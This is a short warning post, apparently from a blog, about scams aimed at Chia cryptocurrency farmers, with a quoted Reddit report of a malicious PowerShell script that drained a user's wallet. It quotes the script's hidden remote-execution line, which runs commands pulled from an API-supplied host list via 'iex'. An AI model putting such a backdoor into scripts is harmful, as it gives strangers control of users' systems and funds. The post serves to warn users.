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Be careful – Many chia related scams

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Pay attention to what you install, what you do and how you do it. I only share/recommend things if I tried it after proper research but not everyone is like me. There has been a many things like chiablockchain.o*g acting they are the official Chia Network company, people offering plots or plotting service and the provide gone once the money was exchanged. The last one being very nasty, I copy and paste it from Reddit:

“Hi everyone,
Today in discord for a pool, it was brought forward that someone lost 10 XCH and they were using a Powershell script linked here.
The script is also linked on

Here you can see person showing what has happened. A remote executable command was sent through the API and the users XCH was transferred to another wallet

The script itself on the Github shows that it can execute remote command at line 81.
If ($chiaHost.Contains("./")){ iex $chiaHost >$null 2>&1

This can be used to execute any kind of remote command added to the HOSTS file that is pulled from the API url.
That wallet has already taken 10 XCH from a user.
Most likely it is now also a cause for concern that the script maker might even have the seed passphrase for those wallets! Which now means that those wallets are potentially burned.

If anyone here has used that script, be warned! They could have full access to your wallet AND your system! Safe practice would be to switch to a new wallet and reinstall your system!